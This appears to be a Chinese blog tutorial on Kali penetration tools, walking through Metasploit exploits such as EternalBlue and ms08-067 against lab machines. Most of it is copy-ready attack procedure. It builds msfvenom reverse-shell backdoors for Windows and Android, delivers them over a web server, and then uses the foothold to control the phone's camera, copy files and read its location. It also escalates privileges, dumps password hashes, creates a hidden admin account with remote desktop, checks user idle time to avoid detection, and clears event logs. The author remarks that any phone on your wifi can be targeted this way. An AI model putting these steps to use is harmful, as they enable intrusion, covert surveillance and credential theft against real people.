黑客玩具入門——4、漏洞掃描與Metasploit

1、Legion漏洞掃描分析工具

Legion是Sparta的一個分支,它是一個開源的、易於使用的、超級可擴展的、半自動的網絡滲透測試框架。它是一款Kali Linux系統默認集成的Python GUI應用程序工具。Legion是一個Nmap、Nikto、Hydra等工具的集合,利用各個工具的優秀功能,完成收集信息、掃描和爆破等任務。

Legion主要包含以下功能:端口掃描,程序自動調用Nmap進行掃描,根據Nmap的掃描結果,nikto自動加載結果,展開更精確的掃描。針對掃描結果,使用特定的工具,比如dirbuster目錄爆破,利用webslayer進行web指紋識別。針對可暴力破解的端口,調用hydra進行暴力破解。下面我們來看下如何使用這款工具:

首先我們先登錄Metasploitable2,通過ifconfig命令獲取其IP地址。然後

打開Legion工具。然後輸入sudo legion啓動工具。

點擊加號。

在這裏輸入你要滲透的ip即可,然後點擊submit按鈕即可。

2、漏洞利用searchsploit

首先,大家先記下一個地址:https://www.exploit-db.com/。它是專門用來收集各種漏洞的網站。在kali系統中,有搜索漏洞數據庫的本地副本,我們可以在終端窗口中輸入命令去搜索。

命令就是searchsploit,它的常用選項如下:

  1. -c,--case [Term]:執行區分大小寫的搜索,默認搜索對大小寫不敏感。
  2. -e,--exact [Term]:對exploit標題執行EXACT匹配(默認爲AND)。
  3. -j,--json [Term]:以JSON格式顯示結果。
  4. -m,--mirror [EDB-ID]:將一個漏洞利用鏡像副本到當前工作目錄。
  5. -o,--overflow [Term]: exploit標題被允許溢出其列。
  6. -p,--path [EDB-ID]:顯示漏洞利用的完整路徑。如果可能, 還將複製路徑到粘貼板。
  7. -t,--title [Term]:僅僅搜索漏洞標題,默認是標題和文件的路徑。
  8. -u,--update [Term]:檢查並安裝任何exploit-db軟件包更新。
  9. -w,--www [Term]:顯示exploit-db.com的URL而不是本地路徑(在線搜索)。

下面我們看下例子:

  1. searchsploit -t oracle windows:搜索標題中包含oracle windows的漏洞。
  2. searchsploit -p 3389:搜索漏洞號爲3389的漏洞。
  3. searchsploit mysql:查找mysql的漏洞。
  4. searchsploit apple:查找apple的漏洞。

實踐:

  1. 我們需要在win7上安裝一個easy file sharing的軟件,該軟件是一種允許訪客容易的經由瀏覽器上傳、下載文件的文件分享系統。
  2. 安裝完成後,我們可以在kali系統中,通過searchsploit easy file sharing命令,來查看該軟件的一些漏洞。

  3. 然後我們找到/usr/share/exploitdb/exploits/windows/remote/。這個地址下的39009.py文件。

  4. 由於是python腳本所以我們使用python命令來執行,完整的命令是這樣的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
  5. 然後回車,就會發現windows7中的計算器打開了。就說明你的腳本入侵成功了。

3、Metasploit簡介

Metasploit被業內譽爲可以黑掉整個宇宙的工具,雖然有些誇張,但是足以見得Metasploit有多強大。Metasploit是目前最流行、 最強大、最具拓展性的滲透測試平臺。2003年由HD摩爾發佈第一版,2007年用ruby語言重寫。後來被Rapid7收購後,分出了多個版本,有付費的,也有免費的。 Metasploit的官網是:https://www.metasploit.com/

我們可以在Kali系統中找到該軟件:

點擊之後輸入系統root密碼,等待一會後,就變成這樣了:

4、Metasploit:端口掃描

實驗靶機:metasploitable2。

  1. 使用Nmap進行掃描,nmap xxx.xxx.xxx.xxx。
  2. metasploit模塊進行掃描,search portscan。
  3. use auxiliary/scanner/portscan/tcp。
  4. show options,查看需要設置的參數。
  5. set rhosts xxx.xxx.xxx.xxx。
  6. 然後輸入命令:run。即可。

5、Metasploit:SMB掃描

實驗靶機:win7。

SMB,全稱是Server Message Block,即服務信息塊,是一個協議名。它能被用於Web鏈接和客戶端與服務器之間的信息溝通。通過掃描SMB,可以識別目標的系統信息。

  1. search smb。
  2. use auxiliary/scanner/smb/smb_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

6、Metasploit:服務識別

實驗靶機:linux。

掃描服務器的SSH服務。

  1. search ssh。
  2. use auxiliary/scanner/ssh/ssh_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

7、Metasploit:網絡嗅探

獲取FTP密碼。

我們需要一個模擬用戶:win7。需要一個實驗靶機:Windows server 2008(帶有FTP服務)。

  1. use auxiliary/sniffer/psnuffle,使用嗅探模塊。
  2. sudo su,如果權限不夠的話,切換用戶。
  3. 輸入msfconsole,啓動Metasploit。
  4. 然後再實用模塊,run即可。

8、Metasploit:SNMP掃描與枚舉

SNMP是專門設計用於在IP網絡管理網絡節點(服務器、工作站、路由器、交換機等)的一種標準協議,它是一種應用層協議。各種網絡設備上都可以看到默認啓用的SNMP服務,從交換機到路由器,從防火牆到網絡打印機,無一例外。

本次的實驗靶機:Metasploitable2。

默認情況下,Metasploitable2的SNMP服務僅監聽本地主機。所以我們需要對靶機的默認配置做一下修改。

  1. cd /etc/default/snmpd。
  2. 然後通過vim編輯一下,snmpd.pid 後面的ip改成0.0.0.0即可。
  3. 然後跟之前一樣,搜索snmp相關的模塊:search snmp_login。
  4. 然後,use auxiliary/scanner/snmp/snmp_login。
  5. 然後就是set ip。再就是run。完了
  6. 我們還可以使用auxiliary/scanner/snmp/snmp_enum模塊。這裏就不重複如何使用了。

9、Metasploit:掃描弱密碼主機

實驗靶機:多臺windows。

使用的模塊:auxiliary/scanner/smb/smb_login。

知道ip地址範圍即可,批量掃描。

10、Metasploit:VNC身份識別

VNC(Virtual Network Console)是虛擬網絡控制檯的縮寫。它是一款優秀的遠程控制工具軟件。VNC是在基於UNIX和Linux操作系統的免費的開源軟件,遠程控制能力強大,高效實用,其性能可以和windows和Mac中的任何遠程控制軟件媲美。在Linux中,VNC包括以下四個命令:

  1. vncserver
  2. vncviewer
  3. vncpasswd
  4. vncconnect

大多數情況,只需要1、2兩個命令即可。

實驗靶機:Metaspolitable2。

  1. use auxiliary/scanner/vnc/vnc_none_auth。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然後我們試下vnc密碼爆破

  1. use auxiliary/scanner/vnc/vnc_login。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然後我們有了密碼,試下vnc登錄。

  1. 打開一個新的終端。
  2. 然後輸入vncviewer xxx.xxx.xxx.xxx。
  3. 輸入爆破出來的密碼即可遠程連接上了。

11、Wmap網站漏洞掃描

Wmap本身不是一個獨立的漏洞掃描器,而是作爲Metasploit的一個模塊。結合Web漏洞和Web服務相關的模塊協同工作,完成目標服務器的掃描任務。它的掃描結果不會自動生成報告,而是直接存入Metasploit的數據庫。

  1. load wmap:加載wmap
  2. wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一個掃描站點。
  3. wmap_sites -l:查看已添加的站點。
  4. wmap_targets -d 0:根據已添加站點的ID,設置帶掃描的目標站點。
  5. wmap_targets -l:檢查已待掃描的目標主機。
  6. wmap_run -e:執行測試。
  7. vulns:掃描完成後,使用Metasploit命令檢查漏洞記錄。
  8. wmap_vulns -l。

實戰:

  1. 先在Kali的瀏覽器裏輸入你已開啓的Metasploitable2的虛擬機的ip。不同版本瀏覽器的位置可能會有些區別,但是你一定可以找到的。

  2. 然後可以看到這樣一個超鏈接。

  3. 點擊超鏈接,進入一個網站。這就是我們要掃描的網站。

  4. 然後執行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
  5. 然後執行:wmap_sites -l。查看一下編號id。
  6. 然後執行測試:wmap_run -e。
  7. 等待結束後,可以通過vulns然後wmap_vulns -l命令查看漏洞。

12、Metasploit遠程代碼執行

實驗靶機:Window Server 2008/Windows 7。

  1. search ms17-010。ms:微軟。17:17年。010:第十個。
  2. 然後執行:use exploit/windows/smb/ms17_010_eternalblue。
  3. 設置一下相關的參數:
    • set rhosts xxx.xxx.xxx.xxx。
    • set payload windows/x64/shell/reverse_tcp。
    • set lhost xxx.xxx.xxx.xxx。
  4. run。

13、Metasploit:利用瀏覽器漏洞遠程執行代碼

實驗靶機:Windows XP。漏洞利用:ms12-004。

  1. search ms12-004。
  2. use exploit/windows/browser/ms12_004_midi。
  3. set srvhost xxx.xxx.xxx.xxx(當前主機ip)。
  4. set payload windows/x64/shell/reverse_tcp。
  5. set lport 6666。
  6. run。
  7. 然後監聽成功後,會生成一個隨機的地址。在windows上打開這個地址。回到kali的命令行中,可以查看到它的session。
  8. 然後輸入命令:sessions。
  9. 然後使用session:sessions -i [session id]。
  10. 然後就可以進去了。

14、Metasploit:漏洞提權

實驗靶機:windows xp。

前提必須要有一個session會話。

  1. search ms08-067。
  2. use exploit/windows/smb/ms08_067_netapi。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. set lport 5555。
  5. run。
  6. sessions。
  7. search 14-002。
  8. use exploit/windows/local/bthpan。
  9. set session [session id]。
  10. set payload windows/meterpreter/reverse_tcp。
  11. set lport 6666。
  12. run。

其他模塊:

  1. exploit/windows/local/ms13_053_schlamperei
  2. exploit/windows/local/ms13_081_track_popup_menu

15、Metasploit:生成後門

首先,windows、Linux、java、php、Android等後門都支持。嘿嘿。

1、生成windows後門

命令:

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -f exe -o /home/kali(你的home目錄下的用戶目錄)/payload.exe
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目錄下的用戶目錄)/payload.exe

Msfvenom:

  1. msfvenom --list archs,查看支持的系統架構。
  2. msfvenom --list platforms,查看支持系統平臺。
  3. msfvenom -l payload,查看所有可用的payload。
  4. msfvenom -l formats,查看所有的輸出格式。
  5. msfvenom -l encrypt,查看所有的加密方式。
  6. msfvenom -l encoders,查看所有的解碼器。

實踐:

  1. 先輸入上面的命令中的第一條命令,然後在你的home/XXX目錄下可以看到一個payload.exe文件。
  2. 然後我們需要啓動apache服務:sudo service apache2 start。
  3. 然後在windows的虛擬機裏,可以通過瀏覽器訪問kali的ip地址,就會打印出Apache服務。
  4. 然後我們把生成的exe文件複製到windows中。
    1. 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令行刪吧)
      • cd /var/www/html。
      • sudo rm index.nginx-debian.html
      • sudo rm index.html
      • sudo cp /home/xx(你的用戶名)/payload.exe /var/www/html/
    2. 然後刷新windows瀏覽器剛纔的地址,就會看到一個文件,然後把它保存到本地的桌面上即可。
  5. 打開Metasploit。(剛纔的payload.exe相當於被控端,我們還需要和主控端結合使用)。設置使用模塊及參數:
    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost xxx.xxx.xxx.xxx(你的主控端ip)
    4. set lport 5555
    5. run
  6. 然後出現下面的命令行主機名就說明我們成功了:

2、生成Android後門

實驗靶機:Android模擬器。

總體的流程跟windows後門是很類似的,只是使用的模塊有些許的區別。我們需要修改一些配置:

  1. kali系統的網絡連接模式改成橋接模式,因爲安卓模擬器是安在物理主機上的,橋接模式之前講過了這裏不再多說。

  2. 安裝一個安卓模擬器,不要安裝騰訊手遊助手,那個更偏向遊戲玩耍。安裝個夜神啊啥的都行。注意,是安裝在你的物理機上的。
  3. 然後輸入:sudo ifconfig。我們會發現,ip地址變化了。

實驗開始:

  1. msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 R>/home/kali(你的home目錄下的用戶目錄)/payload.apk
  2. 同樣的開始Apache服務:sudo service apache2 start。
  3. 然後在你的安卓模擬器的瀏覽器裏,輸入你的kali虛擬機的ip。
  4. 把你的apk安裝包複製到apache目錄下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
  5. 刷新下安卓模擬器的目錄。發現有了新的apk文件。
  6. windows的操作一樣,下載apk,安裝apk。
  7. 然後,打開Metasploit。
  8. 使用主控端模塊,跟windows一樣:use exploit/multi/handler。
  9. set payload android/meterpreter/reverse_tcp。
  10. set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
  11. set lport 5555。
  12. run

然後你就可以幹你想幹的事了。

3、遠程控制安卓手機,調用攝像頭拍照

  1. webacm_list,查看有哪些攝像頭。
  2. webacm_snap,從指定的攝像頭拍攝快照:
    • -h:顯示幫助。
    • -i:要使用的網絡攝像頭的索引號。
    • -p:JPEG圖像文件路徑。默認爲HOME/[隨機亂碼名字].jpeg。
    • -q:JPEG圖像質量,默認爲50。
    • -v:自動查看JPEG圖像,默認爲“true”。
  3. webcam_stream:從指定的網絡攝像頭播放視頻流。
  4. 然後,自己用命令去玩吧。
  5. 友情提示,鏈接你wifi的安卓手機,都可以這麼玩。所以,不要幹壞事!!!!違法的!!!

4、遠程控制安卓手機,上傳下載文件

我們先來學下文件系統命令:

  1. cat,讀取並輸出到標準輸出。
  2. cd,更改目錄。
  3. checksum,檢索文件的校驗和。
  4. cp,將源文件複製到目標文件夾。
  5. dir,列表文件,ls的別名。
  6. download,從目標系統文件下載。
  7. eidt,用vim編輯文件。
  8. getlwd,打印本地目錄。
  9. getwd,打印工作目錄。
  10. lcd,更改本地目錄。
  11. lls,列出本地文件。
  12. lpwd,打印本地工作目錄。
  13. ls,列出文件。
  14. mkdir,創建目錄。
  15. mv,將源文件移動到目標目錄。
  16. pwd,輸出工作目錄。
  17. rm,刪除文件。
  18. search,搜索文件。
  19. upload,上傳文件或目錄。

實踐從手機下載文件,上傳文件,大家可以自己嘗試哦:

  1. cd /
  2. ls
  3. cd sdcard
  4. ls
  5. cd DCIM
  6. ls
  7. cd Camera
  8. download 1.jpeg

5、遠程控制安卓手機,實現定位

具體的Android命令有很多,這裏就不多說了,大家有興趣可以自己去百度查下。然後實現定位就很簡單了,使用geolocate命令即可。

16、Meterpreter:Windows訪問文件系統

  1. 首先,把網絡連接模式修改成NAT模式
  2. windows運行之前生成好的exe文件,如果不知道咋回事回頭看下。
  3. kali系統上開啓主控端:use exploit/multi/handler 。
  4. set payload windows/meterpreter/reverse_tcp。
  5. set lport 6666。
  6. set lhost xxx.xxx.xxx.xxx(主控端ip)。
  7. run。
  8. 跟之前一樣,被控端安裝下exe文件。
  9. 然後就可以操作windows的系統文件了。相關命令跟之前安卓部分的命令都差不多。這裏就不多說了。

17、Meterpreter:Windows權限提升和獲取憑證

有的時候,你可能會發現自己的Meterpreter會話受到了用戶權限的限制。修改註冊表、安裝後門或導出密碼等活動都需要提升用權限。而Meterpreter給我們提供了一個getsystem命令,可以實現提權。

另外,getuid可以獲取當前的用戶信息,system是系統的最高權限。如果使用system命令仍無法獲取,那麼接下來可以使用之前學過的漏洞提權。

我們來看下漏洞提權的實踐步驟:

  1. search ms13-053。
  2. use exploit/windows/local/ms13_053_schlamperei。
  3. 然後我們需要設置一下session。之前學過的,這裏不說了。
  4. set session 1。
  5. set payload windows/meterpreter/reverse_tcp。
  6. set lport 6666。
  7. run。

提升權限後,可以通過hashdump模塊,從SAM數據庫中導出本地賬號。數據的輸出格式是:

用戶名:SID:LM哈希:NTLM哈希:::

18、Meterpreter:Windows運行程序和屏幕截圖

快速執行命令腳本:每次我們執行的命令內容基本上都是類似的,所以我們可以創建一個文件。

  1.然後右鍵選擇用mousepad打開。

  2.然後可以把我們常用的命令寫到這個腳本里。內容如下:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.129

set lport 5555

  3.然後保存文件。

  4.打開Metasploit。輸入這樣的命令:resource /home/(你的用戶名)/windows_control。

  5.腳本就運行了。

  6.然後直接run。

  7.再打開被控端就可以了。

1、運行程序

execute命令可以可以在目標系統中執行應用程序。該命令的使用方法如下:

  1. execute -f <file> [Options]
    • -H,創建一個隱藏進程。
    • -a,傳遞給命令的參數。
    • -i,跟進程進行交互。
    • -m,從內存中執行。
    • -t,使用當前僞造的線程令牌運行進程。
    • -s,在給定會話中執行進程。

然後哈哈哈哈哈,我們可以試一下這個命令:execute -f calc.exe。打開Windows的計算器。哦吼,好玩吧。

2、屏幕截圖

screenshot命令來進行截圖,並存儲在kali中。

screenshare命令可以進行實時的監控。

19、Meterpreter:Windows創建新賬號和啓用遠程桌面

1、創建新賬號

通過getgui腳本,使用-u和-p參數,並給它分配管理員權限,然後將其添加到遠程桌面用戶組中。

run getgui -u hack -p pass123

注意:如果你的權限不是SYSTEM,需要用之前學過的方法進行提權。提權之後再用上面的命令創建用戶。

2、啓用遠程桌面

如果用戶沒有開啓遠程桌面功能,那麼可以通過:

run getgui -e

來開啓遠程桌面。

在開啓遠程桌面之前,我們還需要使用idletime命令檢查遠程用戶的空閒時常,這樣可以降低你被發現的概率。

然後我們在新的終端執行:rdesktop [你的目標ip:3389]。

然後可能你創建的用戶權限不夠。那麼你可以在Meterpreter中執行shell命令,也就是打開你控制的目標主機的終端,執行下面的命令:

net localgroup administrators hack/add。這裏的hack就是你之前創建的用戶名。

20、Meterpreter:Windows進程綁定和清除事件日誌

1、進程綁定

Meterpreter可以通過與其他進程綁定來實現持久化。

  1. 使用ps命令查看運行的進程。(當然要通過之前寫好的腳本鏈接主控端和被控端,進入Meterpreter)
  2. 通過getpid命令,拿到當前你這個hack腳本的進程。
  3. 然後我們隨便找一個ps列出來的進程綁定吧。使用migrate [pid]命令即可。
  4. 在查看pid就會變成綁定的那個pid了。

2、清除日誌

可以通過clearev命令來清除日誌。

ps:我們可以通過右鍵計算機-》管理-》事件查看器-》Windows日誌。來查看日誌。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章